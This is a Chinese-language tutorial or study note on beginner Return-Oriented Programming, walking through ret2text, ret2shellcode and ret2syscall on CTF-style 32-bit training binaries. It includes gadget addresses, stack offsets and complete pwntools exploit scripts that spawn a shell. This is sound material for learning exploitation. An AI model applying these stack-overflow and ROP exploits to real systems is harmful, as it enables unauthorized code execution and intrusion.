初阶ROP链
先前已经知道,栈溢出以后如果能够覆盖 return address,就可以改变程序原本的执行流程。
接下来继续看 ROP。
ROP 全称:
Return-Oriented Programming
也就是返回导向编程。
最简单的栈溢出里面,可以直接把返回地址改成程序里某个已经存在的函数地址。但是如果没有这么方便的函数,或者程序开了 NX,不能直接在栈上放 shellcode 执行,就需要想别的办法。
ROP 的办法就是利用程序里面本来就存在的一小段一小段指令。
这些小段一般叫:
gadget
很多 gadget 最后都有:
ret
而 ret 会从栈顶取一个地址,然后跳过去继续执行。
所以如果栈已经能控制,就可以这样:
ret
↓
gadget
↓
ret
↓
gadget
↓
ret
↓
...
把本来完全不在一起的代码片段重新接起来。
这就是 ROP Chain。
ret2text
先看最简单的:
ret2text
这个其实和前面的栈溢出例子很像,就是把 return address 直接覆盖成程序 .text 段里已经存在的代码地址。
先看保护:
checksec ret2text
例如:
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
这里 NX 已经开启,所以不能随便往栈里写 shellcode 再执行。
但是:
PIE: No PIE
所以程序本身 .text 段里的地址还是固定的。
用 IDA 打开,可以找到:
gets(buf);
所以这里还是存在栈溢出。
继续看程序,还能找到一段正常流程不会跑进去的代码:
system("/bin/sh");
假设地址是:
0x0804863A
那就很简单了。
只要把 return address 改成:
0x0804863A
函数返回以后就会直接跳过去执行:
system("/bin/sh");
通过 IDA 或 GDB 算出偏移:
112 bytes
也就是:
0x6c + 4
其中 0x6c 是 buf 到 saved ebp,后面再加4字节 saved ebp,就是 return address。
payload:
112 bytes padding
+
0x0804863A
EXP:
#!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x0804863a
payload = 'A' * 112 + p32(target)
sh.sendline(payload)
sh.interactive()
过程就是:
栈溢出
↓
覆盖 return address
↓
ret
↓
0x0804863A
↓
system("/bin/sh")
ret2text 其实还不算什么复杂的 ROP Chain。
它只是最简单地说明:
return address 一旦能控制,程序里面原本就存在的代码都可能成为新的执行目标。
ret2shellcode
第二种:
ret2shellcode
这次不是跳到程序原来的代码,而是自己把 shellcode 写进内存,再让程序跳过去执行。
所以至少需要:
能写入 shellcode
+
shellcode 所在内存可以执行
先:
checksec ret2shellcode
例如:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
RWX: Has RWX segments
这里最重要的是:
NX disabled
还有:
RWX
也就是存在同时可以读、写、执行的内存。
继续看程序:
int main(void)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(buf);
strncpy(buf2, buf, 0x64);
printf("bye bye ~");
return 0;
}
还是有:
gets(buf);
所以 return address 可以覆盖。
同时:
strncpy(buf2, buf, 0x64);
又会把输入复制到 buf2。
假设:
buf2 = 0x0804A080
再用 GDB 看内存映射,如果这一块是:
rwx
那么就可以把 shellcode 放这里。
整个思路:
输入 shellcode
↓
strncpy 复制到 buf2
↓
栈溢出
↓
覆盖 return address
↓
跳到 buf2
↓
执行 shellcode
pwntools 可以直接生成 shellcode:
shellcode = asm(shellcraft.sh())
EXP:
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='i386')
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x0804a080
payload = shellcode.ljust(112, 'A')
payload += p32(buf2_addr)
sh.sendline(payload)
sh.interactive()
payload:
shellcode
+
padding
+
buf2 address
返回以后:
ret
↓
0x0804A080
↓
shellcode
↓
/bin/sh
所以 ret2shellcode 和 ret2text 的区别其实很直接:
ret2text
↓
跳到程序原来就有的代码
ret2shellcode
↓
跳到自己写进去的代码
但是 ret2shellcode 有个明显的问题。
如果:
NX enabled
shellcode 所在的内存不能执行,那这种方法就不行了。
ret2syscall
接下来这个才真正开始像 ROP Chain:
ret2syscall
先看保护:
checksec rop
例如:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
这次 NX 已经开了。
程序大概是:
int main(void)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(buf);
return 0;
}
这里没有:
system("/bin/sh")
也不能像前面那样直接跑 shellcode。
但是:
gets(buf);
还在。
也就是说最重要的能力还在:
return address 可控
偏移还是:
112 bytes
那就不用找完整的 system("/bin/sh") 了。
可以直接想办法调用:
execve("/bin/sh", NULL, NULL);
32位 Linux 下通过:
int 0x80
触发系统调用。
execve 的系统调用号是:
0xb
所以最后希望寄存器变成:
eax = 0xb
ebx = "/bin/sh" 地址
ecx = 0
edx = 0
然后:
int 0x80
现在问题就变了。
以前是在找:
有没有 system("/bin/sh")
现在是在找:
有没有办法分别控制 eax、ebx、ecx、edx
这就是 gadget 开始真正有用了。
控制eax
先找:
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
例如找到:
0x080bb196 : pop eax ; ret
这两条指令:
pop eax
ret
很关键。
假设栈是:
0x080bb196
0x0000000b
next_addr
第一次 ret 跳到:
0x080bb196
执行:
pop eax
于是:
eax = 0xb
然后马上:
ret
CPU 又会从栈上拿:
next_addr
继续执行。
这就意味着,只要栈内容是我排好的,一个 gadget 执行完可以自动接到下一个 gadget。
控制ebx、ecx、edx
继续找:
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
可以找到:
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
这个更方便,一次可以控制三个寄存器。
在后面放:
0
0
/bin/sh address
执行以后:
edx = 0
ecx = 0
ebx = /bin/sh
找/bin/sh
再找:
ROPgadget --binary rop --string '/bin/sh'
得到:
0x080be408 : /bin/sh
于是:
ebx = 0x080be408
找int 0x80
最后:
ROPgadget --binary rop --only 'int'
找到:
0x08049421 : int 0x80
到这里需要的东西就全部齐了:
pop eax ; ret
0x080bb196
pop edx ; pop ecx ; pop ebx ; ret
0x0806eb90
/bin/sh
0x080be408
int 0x80
0x08049421
这些指令原来根本不在一起。
但是现在可以用栈把它们连起来。
第一条真正的ROP Chain
最后需要:
eax = 0xb
edx = 0
ecx = 0
ebx = 0x080be408
然后:
int 0x80
所以栈可以排成:
112 bytes padding
0x080bb196
0x0000000b
0x0806eb90
0x00000000
0x00000000
0x080be408
0x08049421
执行过程:
ret
↓
pop eax ; ret
↓
eax = 0xb
↓
pop edx ; pop ecx ; pop ebx ; ret
↓
edx = 0
ecx = 0
ebx = "/bin/sh"
↓
int 0x80
↓
execve("/bin/sh", NULL, NULL)
EXP:
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
binsh = 0x080be408
int_0x80 = 0x08049421
payload = flat([
'A' * 112,
pop_eax_ret,
0xb,
pop_edx_ecx_ebx_ret,
0,
0,
binsh,
int_0x80
])
sh.sendline(payload)
sh.interactive()
这个时候我才感觉 ROP Chain 这个名字真正变得很直观。
程序里面并没有完整的:
mov eax, 0xb
mov ebx, binsh
mov ecx, 0
mov edx, 0
int 0x80
真正有的只是一些零碎东西:
pop eax
ret
pop edx
pop ecx
pop ebx
ret
还有:
int 0x80
但是只要栈能控制,就可以让它们按照我排列的顺序执行。
gadget
↓
gadget
↓
int 0x80
这个就是 ROP Chain。
三种方法放在一起看
现在把前面三个放一起看就很清楚了。
ret2text
程序自己已经有完整的目标代码:
栈溢出
↓
覆盖 return address
↓
跳到已有代码
例如:
system("/bin/sh");
ret2shellcode
程序没有想要的代码,那就自己写:
写入 shellcode
↓
覆盖 return address
↓
跳到 shellcode
前提是那块内存可以执行。
ret2syscall
既没有现成的:
system("/bin/sh")
又因为 NX 不能直接跑 shellcode。
那就:
找 gadget
↓
控制寄存器
↓
把 gadget 连起来
↓
int 0x80
所以可以大概看成:
ret2text
↓
找一整段现成代码
ret2shellcode
↓
自己写一整段代码
ret2syscall
↓
一整段都没有
那就把很多小段拼起来
第三种才真正让我感觉是在“编程”。
只不过平时写程序是自己写指令,而 ROP 是从别人程序里把已经存在的指令捡出来,再重新排列。
总结
到这里,ROP 最基础的东西大概就是:
栈溢出
↓
控制 return address
↓
控制栈
↓
寻找 gadget
↓
把地址和参数排进栈
↓
不断 ret
↓
执行 ROP Chain
这里最重要的还是:
ret
因为每执行一次 ret,CPU 都会去栈上拿下一个地址。
如果栈是我控制的,那么:
下一个地址是什么
实际上也就是我控制的。
最简单的:
ret2text
只需要改一次返回地址。
到了:
ret2syscall
已经开始连续利用很多个:
ret
把多个 gadget 接成一条新的执行链。
再往后还会继续遇到:
ret2libc
ret2csu
stack pivot
之类的东西。
但现在先把最基础的一条链真正走通:
控制栈
↓
控制寄存器
↓
控制下一条执行地址
↓
把零散指令接起来
这应该就是 ROP 最核心的东西了。

















这一切,似未曾拥有